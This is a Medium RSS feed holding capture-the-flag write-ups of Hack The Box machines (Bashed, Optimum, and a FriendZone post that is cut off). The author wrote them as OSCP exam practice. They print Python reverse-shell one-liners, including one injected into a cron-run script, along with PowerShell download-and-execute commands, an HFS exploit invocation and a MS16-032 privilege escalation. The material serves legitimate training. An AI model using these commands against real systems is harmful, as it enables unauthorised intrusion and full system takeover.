<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tufail on Medium]]></title>
        <description><![CDATA[Stories by Tufail on Medium]]></description>
        <link>https://medium.com/@tufail03?source=rss-693aff8d776b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*kRPr527wqKgKnp6vqF_O-A.jpeg</url>
            <title>Stories by Tufail on Medium</title>
            <link>https://medium.com/@tufail03?source=rss-693aff8d776b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 14:30:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tufail03/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OSCP Preparation — Hack The Box #9 Bashed]]></title>
            <link>https://systemweakness.com/oscp-preparation-hack-the-box-9-bashed-749296612246?source=rss-693aff8d776b------2</link>
            <guid isPermaLink="false">https://medium.com/p/749296612246</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[Tufail]]></dc:creator>
            <pubDate>Mon, 17 Apr 2023 17:26:01 GMT</pubDate>
            <atom:updated>2023-04-18T10:06:37.885Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSCP Preparation — Hack The Box #9 Bashed</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mAtIkGN-BEgxeAF4c6uBwA.png" /></figure><p>Hey guys Hope Everyone is doing well.</p><p>This is the 9th blog out of a series of blogs i will be publishing on HTB Retired machines to document my progress to prepare for the OSCP. The Complete List of OSCP-like boxes created by TJ_Null can be found in this link — <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#">HTB VMs</a></p><p>Lets Begin!</p><h3>Reconnaissance</h3><p>First up,Lets run a full TCP and UDP Scan.</p><blockquote>nmap -sT -p- --min-rate 10000 -oA Nmap/tcpscan 10.10.10.68</blockquote><p>We find only port 80 open in the TCP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*RR8N6rx6bZHP2AI4Myu5JQ.png" /><figcaption>Nmap TCP Scan</figcaption></figure><blockquote>nmap -sU -p- --min-rate 10000 -oA Nmap/udpscan 10.10.10.68</blockquote><p>all ports seem to be filtered in the UDP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*RGEE3j7BtKFVxZk5Bkzz0w.png" /><figcaption>Nmap UDP Scan</figcaption></figure><p>Lets perform a broad and deep scan on the specific port to find more information.</p><blockquote>nmap -sC -sV -p 80 -oA Nmap/fullscan 10.10.10.68</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*lkzPMDkTa-Wq7StE2-Qrfw.png" /><figcaption>Nmap Full Scan</figcaption></figure><p>We get back the following result about the port:</p><p><strong>Port 80: </strong>http Apache httpd 2.4.18.</p><p>So as per our recon ,we only have 1 point of entry to this machine.</p><h3>Enumeration</h3><h4>HTTP(Port 80)</h4><p>Lets browse to the Website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*iPliD43QbxjWPRjoSs8ZYg.png" /><figcaption>10.10.10.68</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*SImOUXubOMPvOvMy8pUYHQ.png" /><figcaption>phpbash github repository</figcaption></figure><p>On the 1st page,we find info on the development of phpbash and the arrow takes us to a github repository which reveals that phpbash is a semi-interactive web shell.So,if we can locate phpbash.php,we can potentially get access to a webshell.</p><p>Lets use gobuster to enumerate directories.</p><blockquote>gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.68 -t 200</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nsCFkdei4H6Lrw-3yvUD4A.png" /><figcaption>gobuster</figcaption></figure><p>We find the phpbash.php under /dev.</p><blockquote>id</blockquote><blockquote>uname -a</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*V0IFRBNHXl2V16vjFvl9_Q.png" /><figcaption>phpbash.php</figcaption></figure><p>We have a low priveleged shell as www-data.</p><h3>Exploitation</h3><h4>Initial Foothold</h4><p>We need a persistent shell to enumerate smoothly, so lets get a reverse shell.</p><p>Start up a “nc” listener on attack machine:</p><blockquote>nc -nlvp 4444</blockquote><p>Send a reverse shell from <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python">PayloadsAllTheThings</a> to the attack machine.</p><blockquote>python -c ‘socket=__import__(“socket”);subprocess=__import__(“subprocess”);os=__import__(“os”);s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.13”,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([“/bin/sh”,”-i”])’</blockquote><p>And we have a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*80JJatOx485KAecjLhFQ2A.png" /><figcaption>low privileged shell</figcaption></figure><p>Let’s upgrade the shell to a fully interactive shell.</p><blockquote>python -c ‘import pty; pty.spawn(“/bin/bash”)’</blockquote><p>Now, press CTRL+Z to suspend this shell and back to Kali. Type the below command in your Kali:</p><blockquote>stty raw -echo;fg</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*lmVrcJHk8ouhfZTMVcgXiA.png" /><figcaption>fully interactive shell</figcaption></figure><p>Grab the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*NAtNqtBdWp3U0o3pmejYiA.png" /><figcaption>user.txt</figcaption></figure><h4>Privilege Escalation</h4><p>Lets Find out what privileges we have.</p><blockquote>sudo -l</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*ppzZUO6XL3DWjjj4Y7QyKQ.png" /><figcaption>check priveleges</figcaption></figure><p>User www-data can run any command as scriptmanager without a password which is great.</p><p>Let’s spawn a shell as scriptmanager.</p><blockquote>sudo -u scriptmanager /bin/bash</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*t2ZOkFii8umX91pcDRSY3A.png" /><figcaption>scriptmanager shell</figcaption></figure><p>We only find the script directory owned by scriptmanager as every other directory is owned by root.</p><blockquote>ls -la</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*znSO1GaTzg7x7CerFgbyxg.png" /><figcaption>list all files with permissions</figcaption></figure><p>There are 2 files in the scripts directory: test.py(scriptmanager) and test.txt(root).</p><blockquote>cd /scripts</blockquote><blockquote>ls -la</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*OnH_D4m56yu2f-WGiVEVEQ.png" /><figcaption>/scripts directory</figcaption></figure><p>Contents of files reveals that test.py is writing some text to test.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*kJKV_mqw-GfBupfzZmxzyw.png" /><figcaption>contents of the files</figcaption></figure><p>we already saw test.txt seems to be executed very recently so lets run <a href="https://github.com/DominicBreuker/pspy">pspy</a> to see the processes running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nc5zr40Oa2Z_Vsoh5KX77g.png" /><figcaption>pspy64</figcaption></figure><p>Awesome,test.py is executed in regular intervals so it is definitely a cron job.So we can possibly add a reverse shell.</p><p>Start up a “nc” listener on attack machine:</p><blockquote>nc -nlvp 6666</blockquote><p>Lets add the reverse shell to test.py</p><blockquote>echo ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.13”,6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([“/bin/sh”,”-i”])’ &gt; test.py</blockquote><p>And we have a reverse shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*lN8409HfOnq5M4fOvmgfHQ.png" /><figcaption>root shell</figcaption></figure><p>Grab the Root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*9M4UCLdBgXMOdDyDEu2HwA.png" /><figcaption>root.txt</figcaption></figure><h3>Conclusion</h3><p>This box was very easy as we usually wont always have a web shell and directories publicly available.That paved us the way with a security misconfiguration of test.py which gave us root.</p><p>Thank you for taking the time to read my write-up and I hope it was helpful. I will be continuing to tackle the TJ_Null’s list of recommended HTB Machines in order to best prepare for OSCP. Please consider following me for more such content.</p><p>p.s. I am always open to any suggestions and new ideas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*f4U7VHUlLo0YimpanvXWnQ.png" /><figcaption>TJ_Null’s OSCP-like Machines List</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=749296612246" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/oscp-preparation-hack-the-box-9-bashed-749296612246">OSCP Preparation — Hack The Box #9 Bashed</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Preparation — Hack The Box #8 Optimum]]></title>
            <link>https://systemweakness.com/oscp-preparation-hack-the-box-8-optimum-2c8da9435596?source=rss-693aff8d776b------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c8da9435596</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[Tufail]]></dc:creator>
            <pubDate>Sat, 15 Apr 2023 16:13:12 GMT</pubDate>
            <atom:updated>2023-04-19T11:46:46.562Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSCP Preparation — Hack The Box #8 Optimum</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uEtaPIWqgN0Q1AYBLXli8Q.png" /></figure><p>Hey guys Hope Everyone is doing well.</p><p>This is the 8th blog out of a series of blogs i will be publishing on HTB Retired machines to document my progress to prepare for the OSCP. The Complete List of OSCP-like boxes created by TJ_Null can be found in this link — <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#">HTB VMs</a></p><p>Lets Begin!</p><h3>Reconnaissance</h3><p>First up,Lets run a full TCP and UDP Scan.</p><blockquote>nmap -sT -p- --min-rate 10000 -oA Nmap/tcpscan 10.10.10.8</blockquote><p>We find only port 80 open in the TCP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*8deqX34I2KHGrFplpGtUmg.png" /><figcaption>Nmap TCP Scan</figcaption></figure><blockquote>nmap -sU -p- --min-rate 10000 -oA Nmap/udpscan 10.10.10.8</blockquote><p>all ports seem to be filtered in the UDP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*P70dAjx6ZDlTQrwQ0nUsvA.png" /><figcaption>Nmap UDP Scan</figcaption></figure><p>Lets perform a broad and deep scan on the specific port to find more information.</p><blockquote>nmap -sC -sV -p 80 -oA Nmap/fullscan 10.10.10.8</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*4BVywFVVEu1aUCifkmN6ag.png" /><figcaption>Nmap Full Scan</figcaption></figure><p>We get back the following result about the port:</p><p><strong>Port 80: </strong>http HttpFileServer httpd 2.3.</p><p>So as per our recon ,we only have 1 point of entry to this machine.</p><h3>Enumeration</h3><h4>HTTP(Port 80)</h4><p>Lets browse to the Http file server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*-M--t03TLNFi1_n6HELCBA.png" /><figcaption>10.10.10.8</figcaption></figure><p>HFS (HTTP File Server) is a file sharing software which allows to send and receive files.</p><p>Lets use searchsploit to find an exploit and download it.</p><blockquote>searchsploit HttpFileServer 2.3</blockquote><blockquote>searchsploit -m 49125.py</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-gORWM5yG79gkpusrCc_vA.png" /><figcaption>searchsploit</figcaption></figure><h3>Exploitation</h3><h4>Initial Foothold</h4><p>we are going to use the example command from the exploit script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cy0EsWcZMXz9qsFgESdDVQ.png" /><figcaption>49125.py</figcaption></figure><p>Grab the Invoke-PowerShellTcp.ps1 reverse shell from <a href="https://github.com/samratashok/nishang/tree/master/Shells">Nishang</a> and rename it as reverse.ps1 and add the following line at the end of the script.</p><blockquote>Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VLgq5Cl95yCHtJBawHRHmA.png" /><figcaption>reverse.ps1</figcaption></figure><p>Start a http server and a netcat listener:</p><blockquote>python -m http.server 80</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*r80m3uoT7u5pZ80OyU94WQ.png" /><figcaption>http server</figcaption></figure><blockquote>nc -lnvp 443</blockquote><p>Now,Execute the exploit.</p><blockquote>python3 49125.py 10.10.10.8 80 “c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(‘http://10.10.14.13/reverse.ps1&#39;)&quot;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s23ruqVNeu2o0YwFz5cN7w.png" /><figcaption>executing the exploit</figcaption></figure><p>We get a low privileged shell Kostas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*8cYK6ujDpKEx_K_vzIT7TQ.png" /><figcaption>low privileged shell</figcaption></figure><p>Grab the User flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*KJvZVa7b1EwG9R7YPzt_cw.png" /><figcaption>user.txt</figcaption></figure><h4>Privilege Escalation — using MS16–032 exploit</h4><p>Lets find some info about the machine.</p><blockquote>systeminfo</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*74bQmWY3ZXwFoCrC3J5KTA.png" /><figcaption>system info</figcaption></figure><p>Running the <a href="https://github.com/Pwnistry/Windows-Exploit-Suggester-python3">Windows Exploit Suggester</a> against the system info gives us some promising exploits.</p><blockquote>./windows-exploit-suggester.py --database 2023–04–13-mssb.xlsx --systeminfo sysinfo.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wj2Y6UZ_nX_oQ1x1yC93Fg.png" /><figcaption>Windows exploit suggester</figcaption></figure><p>We are going to use a version of the MS16–032 script that had been ported by the <a href="https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1">Empire</a> project. Add the line calling our nishang reverse shell at the end we used previously.</p><blockquote>Invoke-MS16032 -Command “iex(New-Object Net.WebClient).DownloadString(‘http://10.10.14.13/reverse.ps1&#39;)&quot;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zNzKw50Zv8_zwr4CV2w6AA.png" /><figcaption>MS16032.ps1</figcaption></figure><p>Start a http server and a netcat listener with the same port(443) we used before:</p><blockquote>python -m http.server 80</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*r80m3uoT7u5pZ80OyU94WQ.png" /><figcaption>http server</figcaption></figure><blockquote>nc -lnvp 443</blockquote><p>Execute the exploit and check netcat.</p><blockquote>IEX(New-Object Net.WebClient).downloadString(‘http://10.10.14.13/Invoke-MS16032.ps1&#39;)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RxS27VcE3NYIuh1VrU2lnw.png" /><figcaption>executing MS16032.ps1 exploit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*95VhZXgFKeNLBgv2OHxQBw.png" /><figcaption>SYSTEM shell</figcaption></figure><p>And we are SYSTEM!</p><p>Grab the Root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*szSyO9pb2HGFReMoyg65qA.png" /><figcaption>root.txt</figcaption></figure><h3>Conclusion</h3><p>This box was quite straightforward as we managed to gain access with publicly disclosed vulnerabilities.So we need to regularly update and patch the software.</p><p>Thank you for taking the time to read my write-up and I hope it was helpful. I will be continuing to tackle the TJ_Null’s list of recommended HTB Machines in order to best prepare for OSCP. Please consider following me for more such content.</p><p>p.s. I am always open to any suggestions and new ideas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*QHAxNQuRBppnc8Ht4n65ag.png" /><figcaption>TJ_Null’s OSCP-like Machines List</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c8da9435596" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/oscp-preparation-hack-the-box-8-optimum-2c8da9435596">OSCP Preparation — Hack The Box #8 Optimum</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Preparation — Hack The Box #7 FriendZone]]></title>
            <link>https://infosecwriteups.com/oscp-preparation-hack-the-box-7-friendzone-208d444a97cc?source=rss-693aff8d776b------2</link>
            <guid isPermaLink="false">https://medium.com/p/208d444a97cc</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[Tufail]]></dc:creator>
            <pubDate>Tue, 11 Apr 2023 10:00:09 GMT</pubDate>
            <atom:updated>2023-04-21T18:32:56.406Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSCP Preparation — Hack The Box #7 FriendZone</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lZmwqxDzztQvfl88S31tgw.png" /></figure><p>Hey guys Hope Everyone is doing well.</p><p>This is the 7th blog out of a series of blogs i will be publishing on HTB Retired machines to document my progress to prepare for the OSCP. The Complete List of OSCP-like boxes created by TJ_Null can be found in this link — <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#">HTB VMs</a></p><p>Lets Begin!</p><h3>Reconnaissance</h3><p>First up,Lets run a full TCP and UDP Scan.</p><blockquote>nmap -sT -p- --min-rate 10000 -oA Nmap/tcpscan 10.10.10.123</blockquote><p>We find port 21,22,53,80,139,443 and 445 open in the TCP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*wSmeMO0jHebTuDq28KEMBg.png" /><figcaption>Nmap TCP Scan</figcaption></figure><blockquote>nmap -sU -p- --min-rate 10000 -oA Nmap/udpscan 10.10.10.123</blockquote><p>We find port 53 and 137 open in the UDP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*TE2Ih-ruDGl4mXt-y-i5Qw.png" /><figcaption>Nmap UDP Scan</figcaption></figure><p>Lets perform a broad and deep scan on the specific ports to find more information.</p><blockquote>nmap -sC -sV -p 21,22,53,80,137,139,443,445 -oA Nmap/fullscan 10.10.10.123</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mQVY3sDZhwU_yispWfw2zw.png" /><figcaption>Nmap Full Scan 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*i_ZIIGVsuUPrdLBzNaZgSQ.png" /><figcaption>Nmap Full Scan 2</figcaption></figure><p>We get back the following result about the ports:</p><p><strong>Port 21:</strong> ftp vsftpd 3.0.3.</p><p><strong>Port 22: </strong>ssh OpenSSH 7.6p1 Ubuntu 4.</p><p><strong>Port 53:</strong> domain ISC BIND 9.11.3–1ubuntu1.2.</p><p><strong>Port 80 and 443: </strong>Apache httpd 2.4.29.</p><p><strong>Port 139 and 445:</strong> netbios-ssn Samba smbd 4.7.6-Ubuntu.</p><p>One key thing to notice from our scan is the domain of the TLS certificate commonName=friendzone.red which could be quite useful.</p><p>We have got quite a lot of services to enumerate.</p><h4>Enumeration</h4><h4>SMB (Port 139 and 445)</h4><p>Lets Run smbmap to list available shares and permissions.</p><blockquote>smbmap -H 10.10.10.123</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K3vt4wZlAkIMG8By8KNsYA.png" /><figcaption>smbmap list shares</figcaption></figure><p>We have READ access on the general share and READ/WRITE access on the Development share.</p><p>Lets list the content of the shares to see if we can find any files.</p><blockquote>smbmap -R -H 10.10.10.123</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QA0PnQ4AuTk46OUzMDQ_zw.png" /><figcaption>smbmap list content</figcaption></figure><p>The Development share seems to be empty, but the general directory has a file called creds.txt.</p><p>lets use smbclient with anonymous login to see more information about the shares.</p><blockquote>smbclient -N -L //10.10.10.123</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*BlGTROQVdcEpiDvQkJyNcg.png" /><figcaption>smbclient anonymous login</figcaption></figure><p>We can see that the files in the Files share are stored in /etc/Files on the system. Therefore, general and Development shares could follow the same pattern.</p><p>To confirm this we can use nmap script scan.</p><blockquote>nmap --script smb-enum-shares.nse -p 445 10.10.10.123</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*qAeF4eco95nwV_URmvTI3Q.png" /><figcaption>\etc\Development</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*Hg7jB9LF9NSenaYPVvTMwA.png" /><figcaption>\etc\general</figcaption></figure><p>Now Lets login anonymously into the general share and get creds.txt.</p><blockquote>smbclient -N //10.10.10.123/general</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*89Ls5qvBglmd3Q-KpCqYzQ.png" /><figcaption>smblient general directorry</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*YutY6upTrBhFdz4XU8CZwA.png" /><figcaption>creds.txt</figcaption></figure><p>we get a <strong><em>admin</em></strong> username and <strong><em>WORKWORKHhallelujah@# </em></strong>password.</p><h4>FTP (Port 21)</h4><p>From the scan, we know anonymous Login is not allowed and the version 3.0.3 doesn’t have any critical exploits.</p><p>The Credentials we got from SMB failed as well:</p><blockquote>ftp 10.10.10.123</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*Zt1uo9u7CUfw00JJiX6lTw.png" /><figcaption>ftp login</figcaption></figure><h4>SSH(Port 22)</h4><p>Similarly OpenSSH 7.6p1 Ubuntu 4 version doesn’t have any potential exploits.</p><p>The Credentials we got from SMB failed for SSH as well:</p><blockquote>ssh admin@10.10.10.123</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*W-dk3KEH5nFIyEK9eSuRcQ.png" /><figcaption>ssh login</figcaption></figure><h4>HTTP(Port 80)</h4><h4>friendzone.red</h4><blockquote>http://friendzone.red</blockquote><p>we find another possible domain friendzoneportal.red.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*wivOjuNDA1SyvT7mzihAkA.png" /><figcaption>friendzoneportal.red</figcaption></figure><p>Lets use gobuster to enumerate directories.</p><blockquote>gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u <a href="http://friendzone.red/">http://friendzone.red/</a> -t 200</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*Fe60pGyTTLNJUSKep8j-oQ.png" /><figcaption>/wordpress</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*oG_GUk-O3V_0qNYzIQejHw.png" /><figcaption>/server-status</figcaption></figure><p>Both directories didn’t provide anything useful.</p><h4>HTTPS(Port 443)</h4><h4>friendzone.red</h4><blockquote><a href="https://friendzone.red/">https://friendzone.red/</a></blockquote><p>The site is just a meme with an animated gif.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*j9NvgDF_CTPEAESvQ--L6g.png" /><figcaption>friendzone.red</figcaption></figure><p>Lets use gobuster with to enumerate directories.</p><ul><li><strong>-k : </strong>Skip TLS certificate verification</li></ul><blockquote>gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://friendzone.red/ -t 200</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*75BbQBJxX8U4Knq3J7R1_Q.png" /><figcaption>gobuster</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*e-gdn-v5VUbMJUWFW1enOg.png" /><figcaption>/admin</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*W8fB91LKpKAeWAb8YATkPw.png" /><figcaption>/js/js</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jSTgW_MW9ibU5UtLULJFfw.png" /><figcaption>source code</figcaption></figure><p>The source code of /js/js gave a indication with something about time and zones which could be a hint to look into DNS zones.</p><h4>DNS(Port 53)</h4><p>Lets do zone transfer with dig.</p><p>we do have two possible domains from previous enumeration steps:</p><ul><li>friendzone.red</li><li>friendzoneportal.red</li></ul><blockquote>dig axfr friendzone.red @10.10.10.123</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1qikLuH47VwT0W7b0Lnwrw.png" /><figcaption>zone transfer friendzone.red</figcaption></figure><blockquote>dig axfr friendzoneportal.red @10.10.10.123</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wEhiYGtTF1D9si7ac75TmA.png" /><figcaption>zone transfer friendzoneportal.red</figcaption></figure><p>Transfer the contents of both domains to zone transfer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*vlAMksgCkDqG4GYyZ3ReRg.png" /><figcaption>transfer contents</figcaption></figure><p>Now we are going to use grep to sort out the domains and transfer them to ‘hosts’:</p><blockquote>cat zonetransfer |grep friendzone|grep IN|awk ‘{print $1}’|sed ‘s/\.$//g’|sort -u</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vHk-gxIhQRlbu63toGUb5Q.png" /><figcaption>domains</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LnFVrvDfDuuRio_5ZXIaGg.png" /><figcaption>transfer to hosts</figcaption></figure><p>update hosts in /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pD_Zem9pXpSH_qPaiGN8ig.png" /><figcaption>/etc/hosts 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*ejCUYSPLL7jwP45-NjgA_A.png" /><figcaption>/etc/hosts 2</figcaption></figure><p>We are going to use a tool called <a href="https://github.com/michenriksen/aquatone/releases/">aquatone</a> to find out which domains we are able to access. Refer this <a href="https://medium.com/@sherlock297/install-aquatone-on-kali-linux-dd2a6850fd32">article</a> to install the tool.</p><p>Before executing the tool we will create a directory ‘<strong>aquatone</strong>’ and copy the file ‘<strong>hosts</strong>’ we created to that directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*IggoDVVkkQbjCSYWVHthjQ.png" /><figcaption>copy hosts</figcaption></figure><p><strong>Subdomains on http(80)</strong></p><p>All the subdomains on http seem to redirect back to the same site.</p><p><strong>Subdomains on https(443)</strong></p><p>Add https:// before every domain on the hosts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s-15FdjskDlpOAyT5pDPiQ.png" /><figcaption>adding https://</figcaption></figure><p>Lets run aquatone against the host file.</p><blockquote>cat hosts | aquatone</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*sXFXU9N5EYTL5HcbrRFpEA.png" /><figcaption>aquatone 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*TlHRFHKoLFFritsu18jZZw.png" /><figcaption>aquatone 2</figcaption></figure><blockquote>firefox aquatone_report.html</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*9n34Ou0xXkc12jWdEjOHFA.png" /><figcaption>aquatone_report.html</figcaption></figure><p>We can view all the domains in this report without having to manually go and check each site.</p><p>There were 2 pages which seemed pretty interesting:</p><h4>admin.friendzoneportal.red</h4><p>We logged in with smb credentials and found this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*dcW8xkqrigG42burIzyw5A.png" /><figcaption>admin.friendzoneportal.red</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*uSeumxAfpYWPjPCNAQLFfw.png" /><figcaption>successful login</figcaption></figure><h4>administrator1.friendzone.red</h4><p>Again, We logged in with smb credentials and found :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*TOd-zQVPSlf9tMtWm8zu_g.png" /><figcaption>administrator1.friendzone.red</figcaption></figure><figure><img alt="" 